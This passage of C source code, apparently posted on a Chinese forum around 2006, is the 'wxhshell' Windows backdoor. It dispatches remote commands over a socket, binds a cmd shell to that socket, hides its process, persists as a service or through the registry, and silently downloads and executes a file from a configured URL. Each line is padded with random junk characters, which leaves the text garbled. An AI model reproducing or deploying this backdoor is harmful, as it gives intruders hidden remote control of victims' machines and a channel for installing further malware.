  else { ^X$ I=ro  
T 77)Np  
    switch(cmd[0]) { [e1\A&T  
  #yX^?+Rc  
  // 帮助 do*Wx2:R  
  case '?': { $Q#?`j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 37~rm  
    break; j}"]s/= 6  
  } /LSq%~UF  
  // 安装 vg5E/+4gp%  
  case 'i': { :nt}7Dn'  
    if(Install()) *:(1K%g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$#+W?m&  
    else HoMQt3C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qk|( EFQ9  
    break; d{?)q  
    } e5FCqNip'  
  // 卸载 #%qqL  
  case 'r': { ^?#@[4?"  
    if(Uninstall()) ]y$)%J^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;Vi~$p|Eo  
    else (tTLK0V-|3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e1oFnu2R  
    break; )!BB/'DRQ  
    } KqFmFcf|  
  // 显示 wxhshell 所在路径 _AVy:~/  
  case 'p': { +V6j`  
    char svExeFile[MAX_PATH]; rknzo]N,  
    strcpy(svExeFile,"\n\r"); MG;4M>H  
      strcat(svExeFile,ExeFile); IM$ 'J  
        send(wsh,svExeFile,strlen(svExeFile),0); LxIuxt=X|p  
    break; `Nkx7Z~w:  
    } Qa>%[jx,@,  
  // 重启 ozT._ C  
  case 'b': { T..-)kL+p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G &m>Ov$#&  
    if(Boot(REBOOT)) [;)~nPjI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :U7;M}0  
    else {  n})  
    closesocket(wsh); $&bU2]  
    ExitThread(0); DrW/KU,{+(  
    } LPsh?Ca?N  
    break; $4ka +nfU  
    } Pxap;;\  
  // 关机 :p,c%"8  
  case 'd': { $hC~af6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W=q?tD~V  
    if(Boot(SHUTDOWN)) 7l[t9ON  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[K:/tB  
    else { G1,Ro1  
    closesocket(wsh); bBd*}"v^"  
    ExitThread(0); :/ ~):tM  
    } v\J!yz  
    break; =#7s+d-  
    } C,V|TF.i2  
  // 获取shell )tJL@Qo  
  case 's': { 77)OW $G  
    CmdShell(wsh); 9t,aT!f  
    closesocket(wsh); cKaL K#~  
    ExitThread(0); h]G6~TYI5  
    break; 3 t~X:  
  } N;%j#(v j  
  // 退出 /^nP_ID  
  case 'x': { E>o&GYc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V*0Y_T{_  
    CloseIt(wsh); {9y9Kr|(P:  
    break; NHst7$Y<  
    } +# m   
  // 离开 F[Qsv54  
  case 'q': { C6Um6 X9/i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {6REfY c  
    closesocket(wsh); @`#OC#  
    WSACleanup(); P1M|f4*  
    exit(1); Tom}sFl][  
    break; GA({ri  
        } jFI]54,  
  } \z(>h&  
  } 2n<qAl$t  
!&W"f#_Z  
  // 提示信息 Yqq$kln  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QSlf=VK*y  
} :/I={)5  
  } pP=_@ 3 D  
M)bC%(xJ  
  return; Zb5T90s%  
} p]atH<^;K  
1aXIhk4  
// shell模块句柄 X7(rg W8  
int CmdShell(SOCKET sock)  M}_M_  
{ 0nF>zOmc  
STARTUPINFO si; BbXmT"@  
ZeroMemory(&si,sizeof(si)); Ip1QVND  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2}W6{T'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0O@[on;Bd  
PROCESS_INFORMATION ProcessInfo; ?,A8  fR  
char cmdline[]="cmd"; n=<q3}1Jej  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,58kjTM  
  return 0; 'dd<<E  
} &k {t0>  
5k!(#@a_T  
// 自身启动模式 /0'fcjOaQ  
int StartFromService(void) U^WQWa  
{ pJ<)intcbE  
typedef struct KV3+}k  
{ :{e`$kz  
  DWORD ExitStatus; .>cL/KaP  
  DWORD PebBaseAddress; 2l;ge>D J  
  DWORD AffinityMask; LS?` {E   
  DWORD BasePriority; >xk:pL*o`  
  ULONG UniqueProcessId; oQE_?">w  
  ULONG InheritedFromUniqueProcessId; &AkzSgP  
}   PROCESS_BASIC_INFORMATION;  Wl}G[>P  
Fp* &os  
PROCNTQSIP NtQueryInformationProcess; lSKv*  
QQ2OZy> W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #EwRb<'Em  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l-JKcsM  
6r ?cpJV{  
  HANDLE             hProcess; OmQuAG ^\x  
  PROCESS_BASIC_INFORMATION pbi; oD|+X/F K  
P-*R N   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6'X.[0M  
  if(NULL == hInst ) return 0; X]f#w  
J^e|"0d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S a#d?:L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Q}`2Y^.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A*?/F:E  
u+"hr"}${  
  if (!NtQueryInformationProcess) return 0; 8wNU2yH+D  
bC>yIjCTn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~S~x@&yR  
  if(!hProcess) return 0; mSqk[ Ig\  
TbSt {TX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ff2.| 20  
RaJ }>e  
  CloseHandle(hProcess); FkkZyCqZ`  
#6#BSZ E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^~hhdwu3a  
if(hProcess==NULL) return 0; `~s,W.Eu4  
D6 @4  
HMODULE hMod; 7Ohu$5\  
char procName[255]; L< nkI  
unsigned long cbNeeded; A+Pm "|  
:7AauoI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mqfEs0~I  
=iQ`F$M  
  CloseHandle(hProcess); =FC;d[U  
^5iY/t~Q  
if(strstr(procName,"services")) return 1; // 以服务启动 IDVY2`sM  
H;"N|pBy  
  return 0; // 注册表启动 #h|,GvmF<b  
} wr6xuoH  
e#Zf>hlAz  
// 主模块 t,as{.H{h  
int StartWxhshell(LPSTR lpCmdLine) M,dzf  
{ d1LTyzLr  
  SOCKET wsl; t+Q|l&|0  
BOOL val=TRUE; r z>zdj5}  
  int port=0; Y+5A2Z)f[  
  struct sockaddr_in door; pOe`*2[  
Eo3Aak o  
  if(wscfg.ws_autoins) Install(); D -\'P31  
"Y J;-$rb  
port=atoi(lpCmdLine); M#gGD-  
`E1_S  
if(port<=0) port=wscfg.ws_port; "Z1&z-   
>ehWjL`8  
  WSADATA data; I}CA-8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0jx~_zq-j  
fgz'C?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uvc{RP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <38@b ]+  
  door.sin_family = AF_INET; vd X~E97  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D_;n4<|.  
  door.sin_port = htons(port); ]> "/<"  
R5~vmT5W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;ZW}47:BS6  
closesocket(wsl); >[3,qP]E  
return 1; "rlSK >`  
} R@{/$p:  
.}u(&  
  if(listen(wsl,2) == INVALID_SOCKET) { U=<.P;+f9  
closesocket(wsl); -W"0,.Dvg  
return 1; x~Esu}x7  
} i1H80m s  
  Wxhshell(wsl); F/,<dNJ  
  WSACleanup(); ;<ma K*f\S  
d+| ! 6  
return 0; Q)i`.mHfFI  
eX),B  
} b.u8w2(  
.Yv.-A=ZIg  
// 以NT服务方式启动 {~{s=c0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f0'Wq^^  
{ WT? U~.U  
DWORD   status = 0; jQBdS. }'v  
  DWORD   specificError = 0xfffffff; %'g-%2C?  
Kgio}y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;{C{V{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~m=%a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }u*@b10   
  serviceStatus.dwWin32ExitCode     = 0; >Ti2E+}[M  
  serviceStatus.dwServiceSpecificExitCode = 0; Pj5#G0i%  
  serviceStatus.dwCheckPoint       = 0; a/`Yh>ou  
  serviceStatus.dwWaitHint       = 0; |ssIUJ  
1&L){hg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \36;csu  
  if (hServiceStatusHandle==0) return; u z2s-,  
WHk/mAI-s  
status = GetLastError(); D{d$L9.  
  if (status!=NO_ERROR)  V# %spW  
{ 6G})h!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x;]{ 8#-z  
    serviceStatus.dwCheckPoint       = 0; 0\<-R  
    serviceStatus.dwWaitHint       = 0; r4>I?lD  
    serviceStatus.dwWin32ExitCode     = status; QKkr~?sTO  
    serviceStatus.dwServiceSpecificExitCode = specificError; p?NjxQLA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L/+J|_J)  
    return; ,^Srd20  
  } 7%FZXsD  
e9~4wt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s7.*o@G  
  serviceStatus.dwCheckPoint       = 0; ^"#rDP"v  
  serviceStatus.dwWaitHint       = 0; :NyEd<'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YD.^\E4o  
} :|mkI#P.  
;l4 \^E1  
// 处理NT服务事件,比如:启动、停止 nAC#_\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ASU\O3%%  
{ D}U<7=\3H  
switch(fdwControl) YGmdiY:;1  
{ Qg.:w  
case SERVICE_CONTROL_STOP: +B|X k[  
  serviceStatus.dwWin32ExitCode = 0;  ;I@L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #E@i@'T  
  serviceStatus.dwCheckPoint   = 0; YfU#kvE'  
  serviceStatus.dwWaitHint     = 0; k0uwG'(z9  
  { N9|.D.#MF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oo .Qz   
  } ~ b_gwJ'  
  return; [1MEA;  
case SERVICE_CONTROL_PAUSE: YU,:3{9,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *c c+Fd  
  break; YYh_lAS>  
case SERVICE_CONTROL_CONTINUE: @O @yJ{(I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cY]Y8T)  
  break; <~*Ol+/  
case SERVICE_CONTROL_INTERROGATE: j7+t@DqQ  
  break; kw}1CXD  
}; 4^^rOi0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jch8d(`?d  
} ay|{!MkQ  
.4(f0RG  
// 标准应用程序主函数 xJGeIh5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s@iCfXU  
{ *?"{T;4u~O  
k|C8sSH  
// 获取操作系统版本 5z>\'a1U  
OsIsNt=GetOsVer(); R u-rp^a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AAY UXY!  
y ]%,Y=%X  
  // 从命令行安装 cN>i3}fq  
  if(strpbrk(lpCmdLine,"iI")) Install(); =Q/>g6  
m3-J0D<  
  // 下载执行文件 _=x_"rz x  
if(wscfg.ws_downexe) { xB+H7Ya  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [wG%@0\  
  WinExec(wscfg.ws_filenam,SW_HIDE); XOU$3+8q5  
} ]w_)Spo.  
=lD]sk  
if(!OsIsNt) { @v=q,A8_  
// 如果时win9x,隐藏进程并且设置为注册表启动 fMaNv6(  
HideProc(); NyLnE  
StartWxhshell(lpCmdLine); loe>"_`Cq  
} y]9U FL"  
else R  |%  
  if(StartFromService()) d vxEXy  
  // 以服务方式启动 nHrCSfK  
  StartServiceCtrlDispatcher(DispatchTable); ~]M"  
else :L0W"$  
  // 普通方式启动 -=IM8Dny  
  StartWxhshell(lpCmdLine); [ 1GEe  
@NE#P&f  
return 0; b\S}?{m5  
}
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只看该作者 1 发表于: 2006-10-10
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